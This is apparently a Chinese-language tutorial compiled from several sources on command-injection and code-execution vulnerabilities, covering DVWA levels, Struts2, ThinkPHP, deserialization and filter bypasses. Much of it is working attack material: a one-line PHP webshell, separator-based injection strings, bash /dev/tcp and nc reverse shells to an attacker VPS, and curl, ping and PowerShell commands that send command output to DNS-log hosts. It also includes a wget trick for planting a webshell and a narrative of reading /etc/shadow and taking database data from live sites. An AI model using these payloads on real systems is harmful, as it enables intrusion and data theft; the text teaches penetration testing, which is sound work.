eval()函数可以把字符串当作PHP代码来执行,也就是可以动态的执行PHP代码,使用这个函数时要保证输入的字符串必须屎合法的PHP代码,且必须以分号结尾。动态函数调用&PHP代码执行漏洞。出来可以利用函数命令注入攻击方式外还可以使用eval注入攻击方式,eval函数会将参数字符串作为php程序代码来执行,用户可以将php代码保存成字符串的形式,然后传递给eval函数执行。原型为: mixed eval(string code_str) 其中code_str是php代码字符串,通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击。 示例代码: <?php $cmd = $_GET["cmd"]; echo "<pre>"; eval($cmd); echo "</pre>"; ?> 如果传入的内容为phpinfo();,若传入的是一句话木马<?php eval($_POST[cmd]);?>就可以直接拿shell。 示例结果为: 2.Java命令执行 在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。像JSP,Servlet,Struts,Spring,Hibernate等技术一般执行外部程序都会调用此用法。开发人员没有正确使用Runtime类,就有可能造成Java命令执行漏洞。 代码如下: Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("net user"); p = Runtime.getRuntime().exec(cmd); //取得命令结果的输出流 InputStream fis=p.getInputStream(); //用一个读输出流类去读 InputStreamReader isr=new InputStreamReader(fis); //用缓冲器读行 BufferedReader br=new BufferedReader(isr); String line=null; //直到读完为止 while((line=br.readLine())!=null) { System.out.println(line); } ###常用命令执行函数 php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()另外,反单引号(`)也可以执行命令,不过要调用shell_exec()函数. 1.system(),exec(),shell_exec()和passthru()函数是可以直接传入命令并且会返回执行结果。如:payload: <?php system('whoami');?> //返回当前web服务器用户 2.pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用,如: void pcntl_exec(string $path, [,array $args [, array $envs]]) 3.popen()和proc_open()函数不会直接返回执行结果,而是返回一个文件指针。如:payload: <?php popen('whoami >>D:/2.txt','r'); ?> //两个参数,第二个参数是指针文件的连接模式,有r和w模式 4.反单引号(`)执行命令需要调用shell_exec()函数。 如:payload: <?php echo `whoami`;?> //返回当前用户 exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数; system() 输出并返回最后一行shell结果; exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。; passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上; popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针 <?php #system('net user'); #passthru ('dir'); #echo exec('whoami'); #echo shell_exec('whoami'); #echo `whoami`; ?> 1.shell_exec() string shell_exec ( string $cmd ) 执行命令,并将结果作为字符串返回。 返回值:如果执行失败,则返回NULL。执行成功则返回执行结果字符串。 注意:This function is disabled when PHP is running in safe mode 2.passthru() void passthru ( string $command [, int &$return_var ] ) 没有返回值,函数直接将执行结果返回给浏览器。函数第二个参数就是执行状态码:返回0表示成功,返回1表示失败。 3.exec() string exec(string command, string [array], int [return_var]); command – 需要执行的命令 array – 是输出值填充的数组(每一行作为数组的一项) return_var –是返回值0或1,如果返回0则执行成功,返回1则执行失败。 执行不成功时的方案:一个技巧就是使用管道命令, 使用 2>&1, 命令就会输出shell执行时的错误到$output变量, 输出该变量即可分析。 如:exec(‘convert a.jpg b.jpg’, $output, $return_val);改为:exec(‘convert a.jpg b.jpg 2>&1′, $output, $return_val); print_r($output); 4.system() string system ( string $command [, int &$return_var ] ) return_var :命令执行状态码。返回0表示成功,返回1表示失败。 返回值:返回执行结果的最后一行,如果失败返回FALSE. 5.函数的区别 1、shell_exec() 只返回,不输出。 2、passthru() 只输出,不返回。 有状态码 3、exec() 返回最后一行结果,所有结果可以保存到一个返回的数组里面。有状态码。 4、system() 输出返回最后一行结果。 有状态码 6.函数代码示例 (1)shell_exec() <?php $output = shell_exec('ls -lart'); echo "<pre>$output</pre>"; ?> (2)passthru() <?php passthru ('echo $PATH'); ?> (3)exec() $cmd = exec( ‘ping ‘ . $target ,$result,$code); $html .= ‘<pre>’.$cmd.'</pre>'; if ($code) { $html .=’shibai'; } else { $html .=’chenggong'; } (4)system() <?php echo '<pre>';// Outputs all the result of shellcommand “ls”, and returns // the last output line into $last_line. Stores the return value // of the shell command in $retval. $last_line = system(‘ls’, $retval);// Printing additional info echo ‘ </pre> <hr />Last line of the output: ‘ . $last_line . ‘ <hr />Return value: ‘ . $retval; ?> 7.防止命令执行漏洞函数 存在命令执行漏洞的原因是,未对输入命令进行过滤,导致可以shell命令的组合运行(即同时运行多个shell命令)。 shell命令的组合运行主要有一下几种(Linux下,windows下可能不适用):管道操作、重定向、逻辑分隔。 (1)管道操作 将一端的命令输出交给另一端的命令处理。格式: 命令1 | 命令2 如:ps aux | grep httpd (2)重定向 改变执行命令时的默认输入输出 类型操作符用途 重定向输入 < 从指定文件读取数据而不是从键盘读取 重定向输出 > 或>> 将输出结果覆盖、追加到指定文件(>覆盖、>>追加) 重定向标准错误输出 2>或 2>> 将错误信息覆盖或追加到指定文件 重定向混合输出 &> 或 &>> 将标准输出和错误信息覆盖或追加到指定文件 (3)逻辑分割 处理多条命令之间的逻辑关系 逻辑与 && 两条命令都要执行 逻辑或 || 若第一条命令执行成功,则不执行第二条命令(即只要有一条命令成功就不再继续执行命令) 顺序执行 ; 执行完第一条命令后执行第二条命令 ###命令执行漏洞分类 1.代码层过滤不严格 一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用: system(“/bin/program --arg $arg”); 2.系统漏洞造成命令注入 系统自身的漏洞-->bash破壳漏洞(CVE-2014-6271),如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码 3.调用第三方组件存在代码执行漏洞 很典型的就是WordPress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,另外JAVA中的命令执行漏洞(struts2/Elasticsearch等)以及ThinkPHP命令执行很常见。 常见的框架漏洞: (1)struts2框架 Struts是一个优秀的MVC框架,被称为Java的三大框架之一,但Sruts的第二个版本却爆发了多次致命的命令执行漏洞。 Struts历史RCE漏洞回顾 Struts2漏洞POC汇总 针对action时,调用底层的java Bean的getter/setter方法处理http参数,将每个http参数声明为一个ongl语句。 ?user.address.city=bj&user['name']=admin--------转化为: obj.getUser().getAdress().setCity="bj"; 执行语句:java.lang.Runtime.getRuntime().exec("net user"); 也有:java.lang.processBuilder('command','goes','here').start()//进行创建进程进行执行命令 (2) ThinkPHP框架 导致代码执行的原因有两个,一是preg_replace使用了e修饰符,这样$var[\'\\1\']="\\2"; 会被当做php代码执行。而双引号的变量会被解析,导致了代码执行。 ###命令执行和代码执行漏洞利用 典型代码如下: <?php system($_GET['cmd']); ?> http://127.0.0.1:8080/?cmd=id 1.命令执行示例一 <?php $arg = $_GET['cmd']; if ($arg) { system("$arg"); } ?> 2.命令执行示例二 <?php $arg = $_GET['cmd']; if ($arg) { system("ping -c 3 $arg"); } ?> 3.命令执行示例三 <?php $arg = $_GET['cmd']; if ($arg) { system("ls -al "$arg""); } 注:若引号被转义,则可以用<b>\`id\`</b>来执行 示例四: <?php $arg = $_GET['cmd']; if ($arg) { system("ls -al '$arg'"); } 4.代码执行示例 在cmd.php中的代码如下: <?php eval($_REQUEST['code']); ?> 提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo() 动态函数调用 在cmd.php中的代码如下: <?php $fun = $_GET['fun']; $par = $_GET['par']; $fun($par); ?> 提交http://localhost/cmd.php?fun=system&par=net user, 最终执行的是system("net user") 5.以代码层为例 1.sysem($data): 可控点直接是待执行的程序,我们如果能直接控制它,就能执行任意命令。 2.sysem("/bin/prog $data"): 可控点是传入程序的整个参数,我们可以直接利用&&或|等等,利用管道命令来执行其它命令。如果$data被escapeshellcmd(除去字符串中的特殊符号)函数处理了,我们可以看看这个程序自身是否有“执行外部命令”的参数或功能,比如Linux下的sendmail命令自带读写文件的功能,我们可以用来写webshell。 测试直接输入;ls 3.sysem("/bin/prog -p $data"): 可控点是传入程序的某个参数值,同样可以使用前者的方法进行绕过。 4.system("/bin/prog --p=\"$arg\""); 可控点是传入程序的某个参数的值(有双引号包裹)因为有引号包裹,首先要分析引号是否被转义,如果没有被转义,先闭合引号,然后利用方法同上,如果被转义,双引号内的变量依然会被解析,利用反引号执行任意命令`id` 测试可以输入';ls;' 5.system("/bin/prog --p='$arg'"); 可控点是传入程序的某个参数的值(有单引号包裹)单引号内只是一个字符串,所以只能闭合单引号,才可利用。 测试可以输入:可以输入";ls;" 6.sysem("/bin/prog -p \"$data\" "): 可控点是传入程序的某个参数值并用双引号包裹。分两种情况绕过: ①引号未转义,我们可以先闭合引号再用管道命令进行绕过。 ②引号被使用addslashes函数转义,这种情况下我们可以在双引号内利用反引号(键盘上的波浪线按键)执行任意命令。 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的 在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的 ###命令执行漏洞的测试方法 最可靠的方法使用时间延迟推断,类似与盲注的方法。 1.在URL上cmd=xxxxxx后拼接||ping -i 30 127.0.0.1 (&)应用程序I ping -i 30 127.0.0.1 I 可能过滤掉某些命令分隔符 可以换做下面的命令: I ping -n 30 127.0.0.1 I & ping -i 30 127.0.0.1 & & ping -n 30 127.0.0.1 & ;ping 127.0.0.1 ; %0a ping -i 30 127.0.0.1 %0a ' ping 127.0.0.1 ' 注意windows和linux的语法不同: windows支持:&&,&,||(哪条名令为真执行那条) linux支持:&&,&,||(执行为真) | (执行后面的语句) 2.发生延迟,说明程序可能易于受到命令注入的攻击,对尝试几次,确定不是因为网络延迟造成的,更改-i -n 数值,确定时间延迟是否随着提交的值发生变化。 3.使用发现的所有可成功实施注入的字符串,尝试注入dir、ls 4不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果给自己的计算机。 5.查看自己的权限,可以提升自己权限,访问敏感数据或控制服务器。 可以利用nc来监听4444端口,再进行管道的重定向: ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 在Kali Linux中直接nc连接上该服务器: ###PHP webshell命令执行防御及绕过方法 1.PHP禁止webshell执行命令防御 PHP的配置文件php.ini里面有个disable_functions = 配置这个,禁止某些php函数,便可以禁止php的命令执行漏洞,例如: disable_functions=system,passthru,shell_exec,exec,popen 2.PHP webshell命令执行绕过方法 (1)黑名单绕过 php能够执行系统命令的函数有: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号) 根据黑名单中没有的函数,即可绕过。 (2)系统组件绕过 只适用于windows,代码如下: <?php $command = $_POST[a]; $wsh = new COM('WScript.shell'); //生成一个COM对象 $exec = $wsh->exec('cmd.exe /c '.$command);//调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?> 如何防御:直接删除system32下的wshom.ocx文件 (3)拓展库绕过 3.PHP create_function()注入命令执行漏洞 在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。 ###命令执行漏洞实列 1.demo漏洞实列一 <?php $log_string =$_GET[‘log’]; system("echo \"".date("Y-m-d H:i:s ")." ".$log_string."\" >> /logs/".$pre."/".$pre.".".date("Y-m-d").".log");} ?> 恶意用户只需要构造xxx.php?log='id'形式的URL,即可通过浏览器在远程服务器上执行任意系统命令 2.demo漏洞实例二 <?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; ?> 提交 http://127.0.0.1/cmd.php?ip=|net user 提交以后,命令变成了 shell_exec('ping '.|net user) 3.dvwa漏洞实列三 在系统终端中,要想输入多条命令,可以在一条命令结束之后用分号(;)来隔开进而进行下一条命令的执行。另外也可以通过&&来替换分号,前提是前面的命令正确执行之后才能接着执行后面的命令。命令执行漏洞也正因此而产生。 先看low级: 按照提示输入正确IP地址时,返回正确的ping命令信息,若输入非IP地址,返回错误。 然后输入正确的IP地址并且连接命令看看(这里安全级别设置为low) 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,输入以下语句结果发现是存在命令执行漏洞的: 此时将分号换成&&也是可以的: 如果直接不输给ping IP地址而是直接一个分号后面接其他命令也是OK的,因为在系统终端这些命令都是能正常执行的: 但是如果在ping命令后使用&&号但没有给ping命令输入IP地址时,这时候将不会返回任何值,因为&&号后面命令是建立在前面命令已经正确执行的前提之下的,但是此时ping命令并没有正确执行了。 Low级别:输入的ip值不经任何处理,直接作为参数传入,造成的结果就是使用命令连接字符可以输入任意命令来执行 low级别的源码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> Medium级别: 相当于加了一个黑名单,将输入ip值中的 &&和 ; 变成空,然后作为参数输入,可以有效过滤&&连接字符,但是对于黑名单之外的例如 || 字符没有过滤,依然可以构造命令注入。|| 使用就是当前边的命令执行失败后执行后边的命令。 Medium级别的源码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 两个命令之间用&号表明这两条命令会同时执行,顺序先后不一定。测试结果如下: 可以看出命令显示的时候是嵌套显示的,也就是说几个命令在同时执行。另外一点注意的是,&号与&&号不同,因为是同时执行,所以并不存在前面的命令必须执行了后面的命令才能执行的问题。例子中不输入IP地址也能执行后面的命令: 管道符能正常执行,但管道符的限制是只显示后面那条命令的执行结果: 另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反: 当然,因为该过滤机制只是过滤了分号或&&字符,因此也可以使用&;&的嵌套组合来进行绕过: High级别: 对获取的ip值,先去下划线处理,然后根据’.’来分成数组,判断是否分成四份且每一份是数字的,然后还原回去,对ip值进行ping操作,否则判定输入ip值为非法ip格式。经过这样的处理,输入的只能是ip格式的参数,确保了执行输入参数的安全性。 High级别源码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 4.海洋cms漏洞实列四 命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数 , 搜索一下这个页面有eval函数的地方 for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$labelRule2)===false){ if(strpos($strThen,$labelRule3)>=0){ $elsearray=explode($labelRule3,$strThen); $strThen1=$elsearray[0]; $strElse1=$elsearray[1]; @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}"); if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);} }else{ @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}"); if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);} 可以在这里下个断点,把变量打印出来,就可以清晰的看到就是在这执行了我们的命令: http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd]) 5.其他漏洞实列 (1)Python反序列化漏洞 有如下一段关于python pickle反序列化操作的示例代码: import os import pickle class A(object): def __reduce__(self): # return os.system, ('print 1;', ) return os.system, ('echo 1 > 1.txt', ) p = pickle.dumps(A()) # print p pickle.loads(p) 如果你执行的上面那段代码的话,就会在当前目录下创建一个写着"1"的"1.txt"文件。这执行的其实是系统命令 echo 1 > 1.txt 如果填入python相关语法,比如 print 1; 它是不会当作python代码被执行而输出"1"的,是被当作系统命令执行。 这种情况下Python反序列化漏洞 执行的效果不受语言本身和安全机制限制,仅受限于你执行的什么命令,属于命令执行漏洞(不能执行当前语言的相关语法,仅能达到间接执行系统命令) (2)PHPMailer漏洞 这个漏洞执行的是攻击者的PHP代码段,本来也可以利用php相关函数,比如exec() 、system() 来执行一些系统命令,可以称为命令执行漏洞的。 但是如果用来执行系统命令的php函数都加进了php.ini 的 disable_functions中,其实这个漏洞就不能执行系统命令了,受限于语言的安全特性本身。所以它是代码执行漏洞 (不完全受限于语言本身). (3)php-fpm fastcgi 9000端口未授权漏洞 这个漏洞看第一个链接就清楚了,在知道目标网站一个php文件的绝对路径的情况下,是可以执行代码并间接执行命令的. phith0n 写的工具 fpm.py,对上面同一个目标,执行php代码并可以间接系统命令。 根据fastcgi漏洞的利用工具的说明,PHP-FPM >= 5.3.3 才能执行系统命令。 -------------------------------- PHP Fastcgi Remote Code Execute Exploit. Date: 2012-09-15 Author: [email protected] Note: Only for research purpose -------------------------------- Usage: fcgi_exp.exe <cmd> <ip> <port> <file> [comma d] cmd: phpinfo, system, read the SYSTEM cmd only affects PHP-FPM >= 5.3.3 ip: Target ip to exploit with. port: Target port running php-fpm. file: File to read or execute. command: Command to execute by system. Must use with cmd 'system'. Example: fcgi_exp.exe system 127.0.0.1 9000 /var/www/ tml/index.php "whoami" fcgi_exp.exe phpinfo 127.0.0.1 9000 /var/www html/index.php > phpinfo.html fcgi_exp.exe read 127.0.0.1 9000 /etc/issue 也许你会认为,php都受制于php的安全机制,这个也应当是代码执行漏洞。 但依照我的想法这个漏洞其实应属于命令执行漏洞。这也是比较好玩的地方。根据第一篇文章可以知道: 通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置 也就是说,这个漏洞可以改写php.ini的安全设置,绕过限制,达到远程命令执行,而不仅仅是代码执行并受制于php,所以应归为命令执行(可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身) (4)Struts相关漏洞 S2-029 Struts2 标签远程代码执行分析(含POC) 通过上面文章就会发现 Struts2 的漏洞其实是通过 ognl 表达式,间接执行了系统命令,应属于命令执行漏洞(不能执行当前语言的相关语法,仅能达到间接执行系统命令) ###命令执行挖掘漏洞 注:下文的提到的漏洞均已获授权进行测试,并交由厂商修复。 这些年挖漏洞的白帽子们都躲不开一个词“序列化”,何为序列化? 以下是来自wiki的描述(https://en.wikipedia.org/wiki/Serialization) 看English好像难为小伙伴们了,这里直接给大家两个资源吧,小伙伴们去实验一遍就知道了~~ Java反序列化漏洞产生的原因在于: java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:HTTP请求中的参数,cookies以及Parameters。RMI协议,被广泛使用的RMI协议完全基于序列化。JMX 同样用于处理序列化对象。自定义协议 用来接收与发送原始的java对象。在序列化过程中会使用ObjectOutputStream类的writeObject()方法,在接收数据后一般又会采用ObjectInputStream类的readObject()方法进行反序列化读取数据 合天网安实验室Java反序列化漏洞实验主页: http://www.hetianlab.com/expc.do?ce=58830dcd-d0e1-4ff2-baaf-ac396b687b79 PHP反序列化漏洞产生的原因在于: 在php中,序列化过程中会涉及两个魔术方法,__sleep()和__wakeup(),serialize() 检查类中是否有魔术名称 __sleep 的函数,如果有,则该函数在序列化之前运行,它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。如果该函数没有返回什么数据,则不会有什么数据被序列化,并且会发出一个 E_NOTICE 错误。unserialize()检查具有魔术名称 __wakeup 的方法的存在,如果有,一样先运行该方法。但对于传入的序列化字符串,如果有错误,在进行反序列化的时候就会不触发 __wakeup() 这个方法,从而绕过该方法中的限制,造成漏洞。 合天网安实验室PHP反序列漏洞实验主页:http://www.hetianlab.com/expc.do?ce=b8cb1c08-5330-4766-a44e-89dd54cae1d1 抛开具体涉及到语言、函数,我们用通俗易懂的话的说,序列化就是从A-》B的过程,这是不会出问题的,有可能出问题的地方出在B-》A,在这个过程中伟大的代码审计牛人们发现了漏洞,使得B+N-》C,而不是B-》A,由此引发了漏洞,这种漏洞被称作反序列化漏洞。 那么用专业些的话来说,是什么意思呢?我们需要在进行反序列化的地方传入攻击者的序列化代码,以此来利用漏洞 流行的语言如PHP、Java都存在反序列化漏洞,由这些语言开发的知名的组件ImageMagick、Weblogic、Struts2等当然不可避免地会存在反序列化漏洞,本文要展现的第一枚漏洞就是java反序列化漏洞引发的。 我们说的理论好像很高深似的,其实挖洞的时候大多数人都是直接上工具的,像用burp挖通用型漏洞,bugscan、pocsuite挖事件型漏洞都是很常见的套路。But,由于java的反序列化问题实在太严重,看不下去的师傅们就写了各种各样的工具方便管理员检测自己的漏洞(也方便了白帽子挖洞)。这里展示的几个漏洞就是用工具挖出来的。 首先我们找到网站的后台: 那段时间weblogic的反序列化漏洞很火,直接上工具 发现还真存在这个漏洞,上图我们执行了whoami 我们可以再看看别的命令 比如ifconfig 上面介绍了weblogic的,我们再来看一个struts2的漏洞 首先找到web页面 用工具K8测试了下发现存在漏洞 Whoami查看权限发现是root 再用netstat –an查看下端口等信息 Ifconfig看看网络设备 都任意执行命令了,不看看帐号管理两个最重要的档案? 先/passwd看看用户口令 再/shadow看看所有用户的密码 以上介绍了两个Java命令执行的漏洞,我们再来介绍个php反序列化导致命令执行的漏洞,这个漏洞存在于joomla中。这个漏洞准确的说并不是命令执行的功劳,不过它是通过php反序列化的命令执行漏洞才进行更深一步的渗透的,所以我还是在这里列了出来。 碰到一个joomla的网站 拿起脚本直接上 大体流程就是检测是否存在漏洞-》存在漏洞则exploit-》建立socket连接-》执行php“php-r \’$sock=fsockopen(“x.x.x.x”,10089);exec(“/bin/sh -i<&3 >&3 2>&3″);\’”来反弹shell 成功反弹shell 通过ubuntu提权获得root权限 进mysql看看 注意到此处存在一个远程的sqlserver数据库的连接 使用navicat成功连上 拿到数据了 ###命令执行漏洞绕过技巧 1.命令执行和绕过tips1 测试: 0 | dir c: 代码只过滤了部分特殊字符,可以考虑用其他字符进行测试 (1)windows利用的特殊字符 | 直接执行后面的语句 : ping 127.0.0.1|whoami || 前面出错执行后面的 ,前面为假:ping 2 || whoami & 前面的语句为假则直接执行后面的,前面可真可假 : ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 : ping 127.0.0.1&&whoami (2)Linux利用的特殊字符 ; 前面的执行完执行后面的 : ping 127.0.0.1;whoami | 管道符,显示后面的执行结果: ping 127.0.0.1|whoami 11 当前面的执行出错时执行后面的: ping 1||whoami & 前面的语句为假则直接执行后面的,前面可真可假 : ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真: ping 127.0.0.1&&whoami (3)空格绕过 < 符号 %09 符号需要php环境,这里就不搭建啦,见谅) $IFS$9 符号和${IFS} 符号 这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 (4)命令分隔符5种姿势 &符号: & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID |符号: 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示 (5)命令终止符 %00 %20# (需要php环境,这里就不搭建啦,见谅) (6)黑名单绕过 a=l;b=s;$a$b base64编码 (7)无回显的命令执行 这里先给一个bugku平台的靶机地址:http://47.93.190.246:49165/ 这里第一步先用 username=0' union select 1,md5(1)# password=1 绕过,就可以到命令执行界面然而尝试一下发现没有回显这里有3种方法 (1)第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行 先在vps处用nc进行监听 nc -l -p 8080 -vvv 然后在靶机命令执行处输入 |bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1 (2)第二种是msf反向回连 同样vps用msf监听 vps的msf监听: use exploit/multi/handler set payload linux/armle/shell/reverse_tcp set lport 8080 set lhost xxx.xxx.xxx.xxx set exitonsession false exploit -j 然后在靶机命令执行处输入 |bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/80800>&1 即可getflag (3)第三种是利用DNS管道解析 这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用 |curl `whoami`.xxxx.xxx(子域名) 这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ (8)七个字的命令执行 这题是p总在小密圈发表的一篇文章,当时没有做出来,这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造 这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件 进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。 ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n。有了这个基础,我们再来看这道题 <?php if(strlen($_GET[1])<8){ echo shell_exec($_GET[1]); } ?> 简单的代码,可以利用 1>wget\ 1>域名.\ 1>com\ 1>-O\ 1>she\ 1>ll.p\ 1>p ls>a sh a 这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来 然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序 ls -t>a (9)网络地址转化为数字地址 网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433 可以直接访问 http://2130706433 或者 http://0x7F000001 这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp (10)GCTF RCE 这题过滤了很多东西,下面说一下比较重要的 ||&|;|%{}| |''|.| 这里给个payload %0acat%09 %0Acat$IFS$9 %0acat< 用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的 2.命令执行和绕过tips2 (1)环境搭建 本地测试环境:php 5.4.45 + win <?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?> (2)escapeshellcmd函数绕过 http://php.net/manual/zh/function.escapeshellcmd.php escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 具体会转义哪些字符? https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c 这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。 有这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。 (3)黑名单绕过 执行ls命令: a=l;b=s;$a$b cat hello文件内容: a=c;b=at;c=he;d=llo;$a$b ${c}${d} (4)空格绕过 绕过空格 ${IFS} 或者在读取文件的时候利用重定向符 <> 最后就是别人fuzz的一个命令执行项目: https://github.com/ewilded/shelling 4.无回显 无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一般可以用dns/http通道来获取数据。 linux: curl xxxx.ceye.io/`whoami` ping -c 1`whoami`.xxxx.ceye.io 可以获取数据,当前权限是root 但是有一个特别恼火的事情就是特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64 curl http://xxxx.ceye.io/$(id|base64) (5)windows下的绕过 windows下很头疼,用起来并没有linux那么方便好用,比如curl、wget等等。 http请求: for /F %x in ('whoami') do start http://xxx.ceye.io/%x dns请求: 获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info 获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info (6)powershell绕过 for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a); 这样就也能获取到一个base64编码到命令结果啦~算是弥补一个小小的坑。 ps:这个是用powershell2.0写的,其他版本未测试。 但是如果没有powershell想要获取更多数据的话,还是比较麻烦的。 比如获取d:\所有文件,遇上空格也是会被截断。 for /F %x in ('dir /b D:\') do start http://xxx.ceye.io/%x (7)借他人之手来获取字符 如果过滤了<>?,可以从已有的文件中获取自己需要的字符。 当然如果服务器能外网的话,直接wget -o /tmp 就好了。 3.get任意命令执绕过tips 